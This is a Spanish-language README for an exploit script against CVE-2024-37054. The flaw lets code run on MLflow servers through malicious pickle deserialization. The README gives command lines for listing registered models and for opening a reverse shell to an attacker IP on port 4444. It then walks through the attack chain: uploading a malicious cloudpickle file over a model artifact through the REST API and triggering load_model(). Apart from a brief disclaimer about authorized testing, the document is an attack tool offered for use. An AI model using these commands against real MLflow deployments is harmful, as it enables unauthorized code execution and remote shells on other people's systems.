
CVE-2024-37054 exploit y documentación
Gravedad: Crítica
Versiones afectadas: MLflow 0.9.0 – 2.14.1
Tipo: Ejecución arbitraria de código mediante deserialización de pickle en Python
mlflow.pyfunc.load_model() deserializa python_model.pkl del almacén de artefactos sin ningún tipo de sanitización. Un atacante que pueda acceder a la API REST de artefactos de MLflow puede sobrescribir ese archivo con un pickle malicioso, que ejecuta comandos arbitrarios del sistema operativo la próxima vez que se cargue el modelo.
pip install requests cloudpickle
# Enumerate registered models
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
list
# Explicit model + MLflow Basic Auth
python3 exploit.py --mlflow http://mlflow.target.com \
--user admin --pass secret \
revshell 10.10.16.1 4444
/api/2.0/mlflow/registered-models/search para encontrar un modelo y su run_id / experiment_idPUT de un payload cloudpickle malicioso a /api/2.0/mlflow-artifacts/artifacts/{exp_id}/{run_id}/artifacts/model/python_model.pklmlflow.pyfunc.load_model() sobre ese modelo deserializa el payload y ejecuta el comandoEl paso de disparo requiere un endpoint de aplicación que cargue el modelo. Si no se conoce ninguno, usa --no-trigger (u omite --trigger-url) y dispara la carga por cualquier medio disponible.
Solo para pruebas de penetración autorizadas y fines educativos.
| Flag | Descripción |
|---|
--mlflow URL | URL base del servidor de seguimiento de MLflow (obligatorio) |
--model NAME | Nombre del modelo registrado — selecciona automáticamente el primero si se omite |
--version N | Versión del modelo — por defecto, la última |
--user / --pass | Credenciales de autenticación HTTP Basic para MLflow |
--run-id / --exp-id | Omite el descubrimiento de modelos con IDs conocidos |
--trigger-url URL | Endpoint de la aplicación que llama a load_model() — omítelo para subir solamente |
--session COOKIE | Cookie de sesión enviada con la solicitud de disparo |